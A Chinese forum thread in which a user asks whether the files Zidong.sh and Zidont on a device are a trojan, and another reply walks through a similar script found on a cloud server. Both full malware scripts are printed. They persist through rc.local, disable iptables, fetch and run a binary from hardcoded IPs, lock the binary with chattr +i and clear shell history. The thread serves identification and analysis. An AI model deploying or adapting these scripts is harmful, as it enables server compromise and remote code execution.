找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
广告投放联系QQ68610888
查看: 2066|回复: 3

赚钱宝PRO的etc目中发现了Zidong.sh和Zidont文件,这个是不是木马?

[复制链接]
#!/bin/bash
#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
#                by:Tyrant
#                2015-02-12

if [ "sh /etc/Zidong.sh &" = "$(cat /etc/rc.local | grep /etc/Zidong.sh | grep -v grep)" ]; then
    echo ""
else
    echo "sh /etc/Zidong.sh &" >> /etc/rc.local
        echo "/etc/init.d/iptables stop">>/etc/rc.local
    echo "nohup /etc/Zidont > /dev/null 2>&1 &">>/etc/rc.local
fi

while [ 1 ]; do
    Centos_sshd_killn=$(ps aux | grep "/etc/Zidont" | grep -v grep | wc -l)
    if [[ $Centos_sshd_killn -eq 0 ]]; then
        if [ ! -f "/etc/Zidont" ]; then
            if [ -f "/usr/bin/wget" ]; then
                cp /usr/bin/wget .
                chmod +x wget
                wget -O /etc/Zidont http://117.21.173.4:5896/Zidont
                chmod +x /etc/Zidont
                rm wget -rf
            else
                echo "No wget"
            fi
        fi
        /etc/Zidont &
        #./Zidont &
    elif [[ $Centos_sshd_killn -gt 1 ]]; then
        for killed in $(ps aux | grep "Zidont" | grep -v grep | awk '{print $2}'); do
            Centos_sshd_killn=$(($Centos_sshd_killn-1))
            if [[ $Centos_sshd_killn -eq 1 ]]; then
                continue
            else
                kill -9 $killed
            fi
        done
    else
        kill -9 .sshd
                rm -f /usr/bin/.sshd
        wget -O /etc/Zidont http://117.21.173.4:5896/Zidont
    fi

    sleep 60
done


我的恩山、我的无线 The best wifi forum is right here.
看起来像是的
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

这网站是哪儿?
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

 楼主| | 显示全部楼层
帮一个朋友在阿里云Linux服务器上装软件,发现出奇的卡,终端上敲几个字就卡几十秒。ps -ef一看,发现两个可疑物:

/etc/tows
/etc/towgets.sh
1
2
乘着不卡,cat /etc/tows,擦,很明显的木马。哎,做点什么不好,黑人有啥好玩的!

Anyway,把脚本拿出来给大家学习下。涉及到如下几个技术点:

echo “sh /etc/towgets.sh &” >> /etc/rc.local: 开机自启动
history -c : 清理脚本命令history,尽量防止被人发现
chattr +i /etc/tows : root也删不了哦,需要先chattr -i之后才能rm
/etc/init.d/iptables stop : 防止防火墙阻止自己下代码(木马实体)
ps aux | grep “tows” | grep -v grep | awk ‘{print $2}’ 找tows有多少个,kill 防止启动多个实例
#!/bin/bash
#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
#                by:Tyrant
#                2015-02-12

if [ "sh /etc/towgets.sh &" = "$(cat /etc/rc.local | grep /etc/towgets.sh | grep -v grep)" ]; then
    echo ""
else
    echo "sh /etc/towgets.sh &" >> /etc/rc.local
    echo "/etc/init.d/iptables stop">>/etc/rc.local
    echo "nohup /etc/tows > /dev/null 2>&1 &">>/etc/rc.local
fi

while [ 1 ]; do
    Centos_sshd_killn=$(ps aux | grep "/etc/tows" | grep -v grep | wc -l)
    if [[ $Centos_sshd_killn -eq 0 ]]; then
        if [ ! -f "/etc/tows" ]; then
            if [ -f "/usr/bin/wget" ]; then
                cp /usr/bin/wget .
                chmod +x wget
                #./wget -P . http://222.186.58.233:58961/tows
                ./wget -P /etc/  http://222.186.58.233:58961/tows &> /dev/null

            else
                curl -o /etc/tows http://222.186.58.233:58961/tows
            fi
        fi
        /etc/init.d/iptables stop
        chmod +x /etc/tows
        rm wget -rf
        /etc/tows &
        #./etc/tows &
        chattr +i /etc/tows
        history -c

    elif [[ $Centos_sshd_killn -gt 1 ]]; then
        for killed in $(ps aux | grep "tows" | grep -v grep | awk '{print $2}'); do
            Centos_sshd_killn=$(($Centos_sshd_killn-1))
            if [[ $Centos_sshd_killn -eq 1 ]]; then
                continue
            else
                kill -9 $killed
            fi
        done
    else
        echo ""
    fi

    sleep 600
done


脚本本身没啥。至于卡顿,应该是tows写得比较挫,没处理好资源利用导致。
我的恩山、我的无线 The best wifi forum is right here.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

欢迎大家光临恩山无线论坛上一条 /1 下一条

有疑问请添加管理员QQ86788181|手机版|小黑屋|Archiver|恩山无线论坛(常州市恩山计算机开发有限公司版权所有) ( 苏ICP备05084872号 )

GMT+8, 2024-4-29 11:00

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

| 江苏省互联网有害信息举报中心 举报信箱:js12377 | @jischina.com.cn 举报电话:025-88802724 本站不良内容举报信箱:68610888@qq.com 举报电话:0519-86695797

快速回复 返回顶部 返回列表